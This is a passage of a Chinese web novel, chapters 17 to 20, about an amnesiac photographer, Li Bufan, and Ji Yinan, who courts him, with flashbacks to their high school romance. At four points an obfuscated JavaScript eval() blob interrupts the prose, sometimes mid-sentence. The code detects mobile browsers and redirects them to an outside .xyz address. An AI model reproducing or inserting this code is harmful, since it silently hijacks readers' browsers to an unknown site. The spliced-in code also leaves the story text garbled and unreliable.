座椅上没有人,他收回目光,跟着宋朗白和小柳朝电梯走。 电梯刚到,前台一个小哥跑过来,问他们是不是有个人叫李不凡。 “我,”李不凡拨下头戴式耳机,挂在脖子上,“怎么了?” “你有朋友给你拿了东西,你拿上去吧。”小哥说。 “谁啊?”李不凡顿了一瞬。 “叫季一南。” 宋朗白暧昧地笑了声,拍拍小柳后背说:“我们先上去吧。” 李不凡去了前台,从小哥手里接过一篮子橘子的时候,都不知道自己到底应该是什么表情。 他拎着水果回房间,路上给季一南发消息:【水果你找人送的?】 季一南暂时没回,李不凡就脱了衣服先去洗了个澡。 吹干头发,他看见十几分钟前季一南的消息:【在开车,刚才那段路有点危险,现在好了。】 季一南:【我自己送的,这两天太忙,我要回所里整理标本,没办法等你回来了。】 听起来像是要一直这么给李不凡送下去,哪怕根本就见不到他。 那篮橘子被他放在床头柜上,浅淡的黄色灯光下,散发着清新的味道。 明明知道没什么结果的。 李不凡盯着季一南那几句话很久,才回复了一句:【好】 他想自己应该冷淡一点,在双方都没有投入太多的时候,告诉季一南算了。 水果每天都准时出现在李不凡的房间门口。 季一南会给他发消息说今天带了什么,李不凡拿到就简单回复一句。 这么送了四五天,有个晚上峡谷这边下雪,第二天道路结冰了,开车危险,李不凡和宋朗白商量着不去太远的地方。 天阴沉得可怕,李不凡站在酒店大堂里看着窗外,给季一南发消息说今天别来了。 季一南:【怎么了?】 李不凡:【天气差,别开车跑这么远】 季一南:【不远,这种路我经常开。】 李不凡急得给他发语音:“你疯了?不准来,敢来以后你给我送的东西我都扔了。” 很快,季一南也回了一句语音,他周围很安静,嗓子有点哑:“听你的,不来了。” 白天不管怎么样也算闹了个小别扭,晚上季一南给李不凡发了好几条消息。 季一南:【你看这个,是塔黄的标本,我们前两天上山采的。】 【山上这两天也结冰了,小七还摔了一跤。】 【你们什么时候拍完峡谷?过两天我休息。】 李不凡一直没回,他也摸不准对方的意思,过了几个小时才又发:【可以给你打电话吗?】 明天天气也差,他们拍不了东西,晚上李不凡在宋朗白的房间里,和他们一起整理照片。 工作太认真没顾得上看手机,回房间以后才看见季一南的信息。 李不凡直接给季一南拨了微信电话,没几秒,对面接了。 “打电话想说什么?”李不凡问。 “早上是我的错,”季一南的嗓子还是哑,“不该让你担心。” “季一南,你读书的时候是不是成绩最好的那种学生?”李不凡忽然问。 “这不重要,我在你这里算好学生吗?我有没有让你开心一点?” “我没有不开心。” “那就好。” “你忙的话以后就不用过来了。”李不凡其实是想问,你觉得我们真的有可能吗?以后还有比两个半小时更远的距离。 大概是听懂李不凡话里的含义,季一南沉默片刻。 李不凡能听清他的呼吸声,莫名觉得难受。 手指悬在挂断的按键上,季一南却咳嗽了两声。 “这两天又降温了,记得多穿一点。”季一南说。 半夜雪下得很大,李不凡没有睡好。 第二天醒来时,窗外已经是白茫茫的一片。 李不凡下楼吃东西,撞见一队徒步的人赶来这家酒店临时住宿。 白天没什么事情好做,李不凡干脆把这几天用乱的设备全部重新清点了一遍,分门别类收好。 到晚上,他也没再收到过季一南的消息。 成年人之间,有些话不用说得太清楚。 李不凡半躺在床上,打开电视挑了一部电影,却没看进去多少。 走神时,被压在枕头下的电话震动起来。李不凡找出来,看见打过来的人是万玫。 “你失忆是怎么回事?” 失忆之后李不凡就给自己通讯列表里备注是妈妈的联系人发了信息,过了这么长时间,她的电话才来。 “不知道,醒来就这样了。”李不凡说。 “你现在在哪里?又出国了?” “没有,在国内工作。” “去医院没?” “去了,检查不出什么。” 电话那边安静了片刻,万玫才继续说:“我和你爸爸在你很小的时候就分居了,为了公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261031|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖了很久才离婚。你和我们关系都很差,我想是互相不想打扰彼此生活的关系,以后你不要再联系我了。” 不用万玫说,李不凡也能大概猜到一些,他很快说知道了,万玫就挂断了电话。 也许这就是失忆的好处之一,李不凡几乎确定他和自己的父母没有感情,却不会再承受任何因此而产生的不良情绪。对他来说,血缘不如一缕空气,至少他需要空气。 到深夜,李不凡打算睡了。 房间里的座机忽然响起,李不凡以为是酒店有什么事,接起电话。 前台说:“您有一位朋友,叫季一南,在我们大堂里,请问要告诉他您的房间号吗?” 李不凡愣住了。 没几分钟,他听见房间门被敲响。 李不凡走去拉开门,看见季一南穿着冲锋衣站在门外。 那件衣服他很熟悉,来香格里拉第一天遇上暴雨,他坐在大堂里等漏水的房间修理好等到睡着,醒来时身上就盖着这一件。 “希望没有打扰,”季一南把手里装着香梨的小篮子递给李不凡,“我送完水果就走。” 季一南左侧的肩膀湿了,冲锋衣上挂着水珠,李不凡一眼就看到。 他没有去接那只篮子,而是握住季一南的手腕,把他朝房间里带。 “这么晚了走什么走。” 李不凡的房间里开着暖气,温度舒适,他转过身,等季一南换好了鞋,就抓住他的衣领,把他拉到自己面前。 季一南没动,一副任李不凡怎么样都可以的表情。但李不凡暂时没心思在意,他拉开季一南的外套,沿着他的衣领往里看。 和那天他盖的那件衣服牌子一样。 “是你吗?我第一天去酒店,在大堂睡着了,是你给我盖的衣服。”李不凡说话的时候才发现自己和季一南离得太近,想后退半步,却被季一南用掌心盖着后背压回来。 “是我。”季一南知道他在说什么。 “所以你……”李不凡像说不下去了,垂下眼。房间内只开了两盏床头灯,不算明亮,季一南仔细看他,才注意他耳廓红了。 “你不相信我喜欢你。”季一南平静地说。 他看着李不凡的眼睛,很专注很直接。 “我没有。” “你就是不相信。” 片刻后,“好吧,我不是很信。” 李不凡坦诚地说:“起初我没想过很远的事情,但后来我发现我好像是一个没办法很快结束这种关系的人,所以我开始在意你的真实想法了。” 17.第十七章 “喜欢也分很多种,你可能只是这一分、这一秒喜欢我。”李不凡说。 “这样还不够吗,”季一南很轻地笑了笑,“每个这一分这一秒都喜欢你。” 他似乎没有打算就这样说服李不凡,先后退半步:“我想洗个澡,可以吗?” 时间太晚天气又差,如果连这个要求也不同意,李不凡未免太不近人情。 因为长期出差,李不凡的行李里有很多全新的衣服。他蹲在行李箱前给季一南找能穿的衣服,为此拆掉了几套衣服的塑料包装,抬头时,季一南恰好脱掉最后一件上衣,头发有些凌乱地支着。 他身上很干净,没有什么伤疤,唯独右侧肋骨下有一个大红色的艳丽纹身。 那是两朵用简单线条勾勒的花,看上去清清淡淡。但这是一个敏感的位置,肋骨,如果不是用来宣告爱意,那还挺叛逆的。 李不凡没想过季一南会是在身上留下痕迹的人,如果李不凡是胡乱生长的树枝,那季一南就是永远笔直的树干。 这么想了几秒,李不凡又觉得自己不该刻板印象。毕竟季一南会抽烟,会一见钟情,会忽然吻他,他没有活得那么清心寡欲、循规蹈矩。 李不凡走过去,在季一南身后停下来。 他想季一南肯定感受到了自己的呼吸,因为季一南的脊背很快地收缩了几次。 外面下雨了吗?还是在下雪。 天气是不是很冷,季一南身上冰凉。 所以值得吗?仅仅是为了一篮子李不凡都不一定会吃的水果,为了李不凡这个自己都说不上曾经的人。 李不凡用指腹碰了碰那朵花的花蕊。 他站得很近,鼻尖贴上季一南的后颈,很轻地嗅闻着。 “过两天我们还会回去的,又不是就这么走了。”李不凡说。 “我知道,”季一南微微偏过脸,“但是再怎么样也还有几天,我想见你。” 李不凡笑了,大概是觉得季一南把这些话说得太容易,就像不用思考。 “你不怕我是骗子吗?骗你心……”李不凡的指腹沿着那朵花的花茎,慢慢往下滑,勾了一下季一南的裤腰,“还骗你身。” 季一南抓住李不凡的手,偏头很快地吻了下李不凡的发顶,说:“你不是。” 浴室里传来水声,李不凡躺在床的一侧,想到一种对季一南无数奇怪行为的解释。 那就是季一南喜欢他……是真心的。 水声停了,李不凡没想出什么结果。 季一南穿着李不凡的短T长裤,从浴室里走出来。 看见李不凡还没睡,他躺到床的一边,抬手摁灭了灯。 “你明天没有其他工作吗?”李不凡问。 “没有,休息,你呢?”这张床很大,两个一米八的成年男人睡也绰绰有余,季一南睡在自己的那一侧,哪怕盖着同一张被子,他也碰不到李不凡。 “我们要去近一点的地方拍东西。” “好,那我和你们一起,帮你们拿器材。” 季一南动了动,靠近了李不凡一点。 但很快,他咳嗽了两声,就翻了个身,背对着他。 房间里安静了一会儿,李不凡出了声:“季一南,你有没有想过,离开这里我们就再也没有交集了,你说的这一分这一秒,可能只持续到这次旅行的结尾。” “我当然想过,”季一南嗓子很哑,“你给我打电话说让我别再来了,我听完很难受,不想就这么接受,如果要谈感情,感情本身才是最重要的,其他事情都有办法解决。” 沉默片刻,李不凡朝季一南靠近了一点。 床垫轻了轻,又下沉,他抬手从后抱住季一南的腰,贴上他的后背。 “你是不是感冒了?”李不凡轻声问。 季一南答非所问:“可能一开始是有点快,但你能不能给我机会,看看我做了什么。” 从前李不凡没有怀疑过季一南说的喜欢,所以对于此时此刻他所说的“不相信”,季一南也想不出什么好的办法可以立即解决,但很有耐心徐徐图之。 毕竟他第一次和李不凡表白,也不是什么特别完美的场面,甚至称得上灾难。 高三那年的冬天,威斯林顿本科的申请季刚刚结束。半期考试以后,学校组织全年级到郊外看雪。 出发的前两天,李不凡忽然说自己感冒,没什么力气,只能窝在家里。 放学后季一南去看他,李方知和万玫都不在,只有李不凡一个人躺在床上。 李不凡大概是病得很重,连季一南进门也不知道。 他坐到床边,摸了摸李不凡的额头,李不凡才睁开眼,目光却呆呆的,像被从一场噩梦中吵醒,有些茫然。 季一南觉得他没有发烧,稍微放心了一点,又把从保姆那里拿来的药递到李不凡唇边。 药都被掰成一粒一粒的,没有包装,季一南认不出是什么。看李不凡咽下,他喂给他一口水。 “不舒服的话就多睡一会儿。”季一南替他掖好被子,看李不凡闭上眼,就摸了摸他的头发。 房间里连窗帘也没有拉开,四处静悄悄的,季一南小声问:“要我陪你吗?” 他等了片刻,李不凡才点点头,还是没说话,只搭住了季一南撑着床的手。 过了很久很久,李不凡应该是睡着了,季一南才起身离开。 冬游持续两天,因为李不凡不在,季一南刚好成为班里落单的男生,反而住了酒店的大床房。 第一天傍晚,他和几个同学一起坐在冰面上钓鱼。 天黑得有些快,湖边的树影落下来,喻修景拎了一盏灯,和徐祁年一起在季一南身边坐下。 “李不凡没事吧?”徐祁年问。 “感冒了,我去看过他,就是精神不太好。”季一南说。 今天一天,他给李不凡发了四五条消息,都还没有等到回复。 到凌晨,“精神不太好”的李不凡突然给季一南打了一通电话。 电话那头风声很大,但又听不见车流的声音,李不凡说:“我到酒店楼下了,你在哪个房间?” 季一南开门的时候,李不凡满身是水地站在门外。 雪有些大,一部分没有化掉的雪花落在李不凡的肩膀和鞋面。他的鼻子被冻得很红,却笑得开心,和季一南说:“你没想到吧?” “先进来。”季一南拉过他手。 房间内暖气充足,李不凡弯腰脱鞋,季一南就帮他摘外套。 等冰凉的衣服扔到了一边,李不凡扑过来,抱住季一南的腰晃了两下,说外面好冷。 “你感冒好了吗就这么来?”季一南手热,捂住他的颈侧。 “差不多吧,”李不凡吸了下鼻子,“其实本来也不严重。” 但季一南没办法忘记李不凡躺在床上一句话也说不出来的样子,赶他先去洗个热水澡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261032|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间已经有些晚,李不凡洗完澡出来,浑身都暖和了,窝进被子里,随便地往季一南身上一靠,拿着遥控挑了一部电影。 电影的名字季一南已经忘记了,只记得是一部色调昏黄的文艺片,他白天太累,看得很困。李不凡大概也察觉了,手一下一下拍着他腰的位置,很舒服,他中途就睡着了。 季一南睡得很熟,但醒得却早。 窗帘的缝隙里还是黑着的,他下意识去看李不凡,却看了个空。床的另外一侧没有人,季一南伸手去摸,还是温热的,李不凡走了没多久。 他有些懵,开灯环顾房间,发现属于李不凡的东西都被他带走了,像他从没来过,于是产生了一种不好的预感,很快就从床上起来换了衣服。 忙到一半,季一南才注意到床头柜上多了张纸条,是李不凡写的。 “半夜睡不着我下楼碰到一个滑雪的小团,跟着他们去附近雪场了,明天早晨看完日出,大概八点左右,我们会回小镇,你好好睡觉。” 不住乱跳的心总算安定了一些,季一南放慢动作收拾出一只背包,又换了一件更厚实的外套,拿着手机下楼了。 前台还有人,他走上去,问怎么才能去雪场。 服务生十分诧异,向他确认是现在出发吗? 在这个雪场滑夜雪的人很多,但此刻是凌晨三点,打算去玩的人已经早早出发。季一南跟不了团,只能自己找司机过去。 前台给了他一串号码,让他自己打电话联系。对方是个听声音四十岁出头的中年男人,开出一个比平时贵了两倍不止的价格,季一南也很痛快地答应了。 他坐在大堂里等了大约半小时,司机到了。季一南坐进车里,先看司机打了个很长的哈欠。 越野颠簸地上山了,夜晚路边的森林如一片漫无边际的黑色天空,只有车灯在不断转弯。 季一南拿出手机给李不凡打电话,可能因为还在山里,手机一直显示对方信号无法接通,多打了几次,季一南就暂时放弃。 到雪场时,周围才亮了一些。他付好钱,带着背包下车,在门口买了票,走进休息室。 有不少人在里面吃东西,烤肠和泡面的味道飘在空气里。季一南又给李不凡打电话,这次能打通,但没有人接。 一瞬间他有些茫然,望着休息室外连绵的山坡和雪,他忽然弄不明白自己为什么这么着急。李不凡明明和他说清楚了自己在哪里、要去做什么,虽然他比季一南小一些,但也只差几个月就彻底是个成年人了,不是随时随地需要照顾的小孩。 但稍微一想,季一南又觉得没法接受。 如果他就在李不凡身边,李不凡要做什么却没有和他一起,会让他觉得烦躁和难受。 季一南摸了摸外套的口袋,没碰到烟,他干脆转身回超市,想租个雪板,自己也去玩,说不定就不会胡思乱想。 埋着头走到超市门口,季一南听见一行人的笑声。 “我不饿,你们吃吧……” 熟悉的声音,季一南几乎下意识抬起头,恰好和掀开门帘走进来的李不凡对视。 他带着满身雪气,脸颊通红,被白炽灯照着,明明只是很普通的一个场景,只是李不凡朝他走来而已,季一南的心脏又恢复了之前那种凌乱的跳动。 许多人簇拥着他进来,可是那些人、包括这整个世界,在季一南的眼里都是灰白的、雪的颜色,只有李不凡,像夜空中的月亮,照拂他。 18.第十八章 “一哥?”李不凡很惊讶,但笑着,可能开心更多,“你怎么在这里。” 看见李不凡的朋友来了,围着他的几个人纷纷和他打招呼,很快就离开。 李不凡走到季一南面前,先解释了一遍自己是怎么突然来这里的,季一南没怎么听他讲,只是看着李不凡的脸,回忆自己一路以来的冲动。 “我半夜也醒了,醒了发现你不在,又没什么事好做,干脆过来看看。”季一南说。 “那我们去滑雪吧,本来他们说想上来休息一会儿再走,但反正你来了,我跟你一起,”李不凡靠过来,悄悄告诉季一南,“马上雪场要放烟花了,我们这个点过去,刚好能看到。” 季一南抬手碰了碰李不凡冰冷的头发,垂头问他:“冷不冷?” “我没事儿,”李不凡说,“在外面待久了衣服和头发冷,但我一直动着,身上很暖和,不信你摸我手。” 但他没等季一南来摸,就用两只手包住了季一南一只手。 和他说得差不多,李不凡的掌心的确是暖乎乎的。 李不凡很喜欢户外运动,但因为李方知管他管得很严,所以也很少去很远的地方。 他们在不算很高的坡上慢慢地滑着,就像散步那样。 “我还没去过云南,”李不凡说,“和他们一起爬山的时候,他们都说云南很好看,只要去对了季节,满地都是格桑花。” 他又似乎只是突发奇想:“下辈子我也做一朵花好了,开在高山上,每天醒来就能看到辽阔的天空、土地,也许还有绿色的江水,和遥远的雪山。” 李不凡的话散在风里,他抬起手,像要拥抱风那样。就在这一瞬间,一阵轰鸣在空中响起,灿烂的烟花沿着雪道绽放,照亮半片夜空。李不凡惊喜地抬起脸,脚下慢了一些,最后停下来,和季一南一起,抱着雪板冲上旁边的小山。 他喘着气,双眼被烟花占得满满当当,可好像还是不够,“我就说……会很美的。” “下一次,”李不凡特别坚定地看向季一南,“下一次我肯定叫你起床,就算你再困也只能跟我一起,不能拒绝了。” 李不凡可能从不知道自己口中的这个“下一次”,在此刻是怎样珍贵的一个承诺。 白雪和夜空之间这样泾渭分明,而他们站在那道界线上,像在迎接一场盛大的降落。 李不凡在看天,季一南在看他,下意识用指尖碰了碰他的手背,李不凡错愕半秒,也没有躲开,就这样被牵住了。 季一南移开视线,手指其实还有些抖。李不凡一直在他身边,长久到季一南不用去想具体是在哪一刻发现自己对他喜欢,却笃定了这个结果。 他一直想着李不凡口中的那个“下一次”,忽略了他一时很困很累,一时又精力旺盛的反常,也没有追问李不凡为什么睡不着。 他只是暗自下定决心,要做一个勇敢的人,如果自己也能去威斯林顿上学,他想尝试问问李不凡愿不愿意和自己在一起,或许他们之间的相处方式不会有实质的改变,但再次面对一些想要和李不凡做的事,季一南可以不用觉得自己贪心和卑鄙。 他开始疯狂计算李不凡说我愿意的可能,或许我愿意太正式,李不凡说的也许是好啊,很短,很亲密。 那晚雪场焰火盛大,可季一南只记住了一秒。 李不凡在火光中回头,和他说下一次。 * 高中毕业前的最后一个春节,李不凡收到本科学校的Offer。 李方知和万玫难得表扬他,想要为他庆祝,李不凡拒绝多次也没能成功,于是邀请了季一南,徐祁年和喻修景。 午饭后,徐祁年还有点事,他们三个人先去电影院看电影。 电影院里暖气充足,李不凡脱了外套抱在怀里,到柜台买了三张电影票。 他没选电影,买的是最近票房最好的一部,没想到题材很感人。不过李不凡看得不算认真,甚至可以说总是走神,去拿爆米花的手戳到季一南,被季一南一下抓住了,玩儿一样朝他那边拉了两下。 李不凡侧过头,眼神带着一点警告的意味,让季一南放手。季一南没动,默不作声抬起唇角。 屏幕的灯光随着场景的转变亮了一些,季一南瞥见身旁的喻修景看哭了。他捏了捏李不凡的手,朝他靠过去,想让他看一眼喻修景,但没想到李不凡也凑了过来,他一转头,嘴唇就很轻地碰了下李不凡的侧脸。 第一时间季一南没太反应过来,只觉得李不凡的皮肤很凉也很软。他垂下眼,发觉李不凡僵住了,才又靠上去,在那个不经意碰到的位置,又轻轻贴了一下。 电影讲的什么,季一南完全不知道。等出了影院,才听颇受感染的喻修景讲了几个片段。 他们在大厅等了大约十分钟,徐祁年才姗姗来迟。他看见喻修景哭了,疑惑地朝季一南望去,季一南无声摇摇头。 徐祁年一走过去,就抬手把喻修景搂住,拍了拍他的后脑勺,同时和季一南做了个拜拜的手势。 季一南无语了一瞬,问李不凡:“要不要去买个蛋糕?晚上我们可以一起吃。” 李不凡点点头说好。 他们到商场底楼新开的蛋糕店,尺寸合适四个人吃的蛋糕还要等,季一南就只好买了更小的,是李不凡爱吃的水果口味。 商场太闷,李不凡就说想出去透透气。他们走到门外的小花园里坐下,季一南拆了蛋糕,给李不凡撕出一只勺子塞进他手里。 “国外会不会没有这么好吃的蛋糕。”李不凡小声地问。 季一南感觉到他今天兴致缺缺,就说:“应该会有的,可能还会有很好吃的冰淇淋。” 不知道是不是说错了什么,李不凡连蛋糕也不想吃了,哦了一声就放下勺子。 手机震动两声,季一南打开来,看见是徐祁年发的信息:【我们出来了】 【忘了问,你收到Offer没?】 想留学的事季一南只和徐祁年说过,他不想让李不凡失望,所以连自己也申请了学校的事都没告诉他。 季一南:【还没。】 徐祁年:【你不急?】 【你要是最后才告诉李不凡,他会不会生气啊?】 季一南:【不会】 他侧头看了一眼李不凡,回到:【他会先开心。】 晚餐时他们回了李不凡家。 起初氛围还不错,李方知喝了酒,说起一些他曾经在国外留学的事情。后来他聊到对李不凡的期待:“出去留学,长长见识也很好,读够了书就回家,我和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李不凡用指腹碰了碰方块上凹凸不平的花雕,低下头,让季一南帮自己戴上。 这个动作让他露出一段清瘦的脖颈,后颈的骨头凸起,如同起伏的山脊。 “这是什么花?”李不凡拿起挂坠,对准一旁昏暗的路灯。 “你以前说过的格桑花。”季一南的手就搭在他肩膀,没放下。 “那个……”徐祁年默默抓起喻修景小臂,“我和小景打的车马上到了,我们现在过去。” “好啊,到家记得发个消息,”李不凡还抱着那只按摩仪的盒子,“谢谢你们的礼物。” 徐祁年和喻修景走了,周围很突兀地安静下来,季一南想问李不凡要不要和他回家,低头时,却见李不凡的眼神变得很淡,好像沉进了一片深水里。 “我也要回家了,”李不凡往后退了一步,季一南的手就落空,“明天……之后再见。” 他没等季一南再多说一句话,就转身朝大门走,到了门外,才回过头,好像很艰难地和季一南说:“谢谢你的礼物,我很喜欢。” 季一南站在楼外恍惚了一阵,想不明白李不凡突然的冷淡。 但他可能确实情绪不好,毕竟李方知在餐桌上当着他朋友的面说了那样的话。 季一南说服了自己,回到家中,他没有其他事情好做,就多刷了一套数学试卷。 这时放在桌边的手机响了一声,季一南以为是谁发来的消息,没有准备就划开了屏幕。 弹出的是他的邮箱,季一南扫了一眼,只注意到打头的第一个单词:Congratulations——他收到了威斯林顿某所学校的录取通知书。 19.第十九章 季一南想要立刻把这个消息告诉李不凡,他发微信问他,现在可以去找你吗?没有得到回复。 于是他想起满天烟花下他自己做出的承诺——虽然没有人听到,但也要遵守。现在假设的条件真的实现了,Offer就躺在他的邮箱里,所以下一件事他也应该去做。 杂念立刻充斥了季一南的大脑,终于可以和李不凡一起去上学了,虽然不是同一个学校,之间还相差了一点距离,但三十几公里也不算太远,也许还有机会住到一起。 季一南难得不冷静,想要李不凡马上就知道。 他推开阳台的玻璃门,一阵寒风恰好吹过,冻得他打了个哆嗦。 隔壁就是李不凡房间的阳台,有时他们就站在这里聊天。那边关好了窗帘和门,却隐隐传来争吵的声音。 季一南仔细去听,觉得吵架声不是从李不凡的房间里传来的。 但他还是担心,只想确认李不凡好不好,又不想惊扰太多人,于是穿着拖鞋就翻过了阳台的栏杆。 好在修建这个小区的设计师颇有纰漏,每两栋楼房间距很窄。从很小的时候起,季一南就有这个想法,他要翻过这个阳台。只是那时他还小,现在长大了,手长脚长,越过这个阳台比脑海中勾画的任何一次都要简单。 季一南先抓住另一个阳台的栏杆,整个身体对着地面,手臂一用力,又把自己带上去。他轻轻一跃,就踩上李不凡房间的阳台,很快翻了进去。 他落地小心,没制造出太多声音,只是手掌和膝盖蹭脏了。 可能是有点匆忙,季一南拍了拍手上的灰,又低头看了一圈自己的衣服,确认没什么不干净的地方,才敲响玻璃门,靠近了问:“李不凡,你在房间里吗?” 等了片刻,他听见屋内有被子翻动的声音。 玻璃门没有关严,季一南推开一点,连同窗帘一道拨开。 李不凡躺在被窝里,有些茫然地看向他。 “我听见叔叔阿姨在吵架,怕你有什么事,就翻过来了。”季一南解释。 大概是因为自己有些狼狈和鲁莽,李不凡才会露出这样的神情。不过季一南也没有特别在意,而是先点开邮箱,想要给李不凡看他的录取通知书。 但李不凡却往被子里挤了一点,翻过身背对着他,小声说:“我之前胃痛,现在好点了,但很困……” 没想到李不凡不舒服,季一南顿住了,站在床边显得格格不入,又有些不知所措。 “要去医院看看吗?我带你去。” “不用,”李不凡的声音闷在被子里,“之前去检查过,现在已经好了,只是需要休息一会儿。” “那等你状态好一点了我再带你去,”想了想,季一南还是决定说完,“我有件事还没告诉你,其实我也申请了威斯林顿的学校,刚才收到录取通知书了,我等不及想跟你说……” 那团被子不动了,季一南继续说:“我之前不太确定自己能不能申请到,所以没有一开始就跟你说,我怕我失望,你也失望。” 虽然李不凡还是沉默着,季一南的心脏仍在胸腔里剧烈跳动。 他想到那个可以和李不凡在一起很久的未来,就有些克制不住,几乎连声音都在抖:“我以前想过,我们去一个城市读大学,之后又在很近的地方工作。 “我们学校不远,以后也可以经常见面,我在想,如果有机会的话……” 他从未想过自己也有这样生涩的一天,那样剧烈的兴奋打破了季一南所有的行事规则,这一刻,他的内心只有一种渴望。 或许时间地点都不是很合适,季一南还是说:“李不凡,我送你的那条项链还有一些别的含义,我做的时候就在想给你戴上的那天……” 他连李不凡的背影也不敢看,想自己果然是一个有些懦弱,也害怕被拒绝的人。 可能只有在这样的情况下,才能完整地说出自己想说的话。 “我喜欢你,我不知道你会不会喜欢一个男生,如果你没有想清楚也不要紧,我不是非要你回答,只是想告诉你。” 室内很温暖,季一南却浑身都僵硬着,他等了一会儿,还是没等到李不凡说话,但看到他细微地抖了抖肩膀。 于是季一南走过去,在李不凡身边蹲下来。被子被李不凡攥得很紧,他整张脸都埋在里面,季一南轻轻碰了碰,才拉下来。 李不凡眼眶很红,季一南不太明白他为什么会哭,也有些无措,用拇指擦过他的脸颊。 “……怎么了?”季一南轻声问。 “什么时候申请的?” “申请季刚刚开始的时候。” “出国是为了我吗?” 气氛不太对,季一南顿住了,像从头到脚被浇了一盆凉水,冻得他完全懵掉了。 “我……” “季一南你走吧,我有点累了。”李不凡闭上眼。 “哦,好。你那个……好好休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277484|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 果然还是打扰到他了,进来的时候自己就该发现的,哪有人这么早就休息,肯定是不舒服了。 季一南怪自己不识时务,机械地站起来,大脑和四肢同时失去了处理信息的能力。 他僵硬地走到门边,又想起自己是从阳台翻过来的。刚想换个方向,他听见李不凡下了床,没有穿鞋地跑了几步。一转身,他接住了扑过来的李不凡。 他瘦了,抱起来能摸到骨头。 这是季一南的第一反应。 他感觉到李不凡在急促地喘息着,好像周围氧气很少,自己是一根枯木,李不凡是浮萍。 “是什么学校?哪个专业?” “C校,数学。” “知道了,”李不凡偏头靠着季一南,“我真的有点累,你可以抱紧一点吗?” 于是季一南收紧了放在李不凡腰间的手臂。 不知抱了多久,季一南觉得李不凡睡着了。他的呼吸均匀不少,身体很软地趴在自己身上。 稍一用力,季一南就把他竖抱起来。走到床边,他单手拨开了被子,把李不凡放下,再和他一起躺到床上。 原来没有睡着,李不凡朝季一南那边靠了一些,一条手臂圈住他的腰,柔软的头发就埋在季一南的颈窝。 房间外的争吵声小了一些,季一南垂眼看着李不凡的脸。他有一双好看的桃花眼,鼻子很窄,嘴唇薄,嘴角内还有一对小猫似的牙齿。 季一南用鼻尖很轻地贴了贴李不凡的脸颊,他抬起手,掌心盖住李不凡的耳朵,像巢穴一样,把依偎着自己的小鸟包裹进来。 只是不知道为什么,渐渐地,李不凡的心跳又快起来。季一南侧过脸,眼睛碰到了湿润的枕巾。 在季一南的印象里,那一天格外惊心动魄,却拥有一个意外的结局。 尽管无法分辨李不凡突然的拥抱,是回答季一南可以,还是只是作为季一南多年的朋友,不想让他难堪,但不论是哪一种,至少那是一个拥抱,温暖的、充满的。 他又想,等到他们毕业,他就和李不凡一起去云南,完成他的心愿。毕竟那个夏天一定漫长又炎热,他们还有许多时间可以消磨。 再之后,他们去国外读书,如果李不凡不想回来,季一南可以是他的家。 未来的画卷徐徐展开,十八岁的季一南信心无边。 唯一的遗憾,是听见季一南也被录取的消息,李不凡没有先开心。 20.第二十章 【机票和高铁票我都买好了,下周三早上我等你。】 季一南打完这句话就点了发送。 服务生上完最后一道菜便离开,稀松的大厅里飘着缓慢的音乐。 “不凡还是没有回你消息吗?”宋宁问。 她难得没有出差,能在这个假期好好待在本市,首要做的,就是多陪季一南吃几顿饭。 “没有,他上补习班。”季一南拿起筷子,没滋没味地吃了口菜。 “什么补习班这么认真?”宋宁喝了水。 季一南没有很快回答,想了片刻,才说:“李不凡应该不是很想去上课,每次他去之前都不是很开心,回来以后情绪也一般。” “他家里管得太严了,我知道的,”宋宁酝酿了一下,继续讲:“留学之后,你对自己有什么规划吗?” 季一南没想到宋宁会说这个,毕竟从小到大,宋宁其实管他很少。 “你和我说想要出国的时候,我非常吃惊,你可能没看出来,但我担心了很长时间,”宋宁坦诚地说,“你可以选择留在国内的学校,也可以选择出国,但你想要留学,应该是为了李不凡吧。我一直没有和你好好聊聊他,因为没有想到在你心里他会有这么重要。” 季一南握住水杯的手微微收紧。 “我不太建议你为了喜欢的人放弃什么,人生的路还很长,我不会跟你说以后你还可能遇到更喜欢的人,因为我知道也许其实不会,但我想说对于爱情而言,只有爱是不够的,你还需要拥有很多,才能让他长久地在你身边,”宋宁不是在责怪季一南,她反而温和地笑着,“一南,你自己也还需要成长。” “我知道。”季一南垂下眼。 六月末的一个早晨,天已完全亮了,季一南坐在行李箱上等李不凡。 李不凡会不会来,季一南并没有十分确定的答案,他只是耐心地等,同时在想宋宁的话。 连他自己也不知道他和李不凡之间现在到底是什么关系,朋友的这一层被他鲁莽地戳破了,李不凡又只有一个模糊的态度,自那无法定义的一个拥抱以后,他们谁也没再提那天的事情。 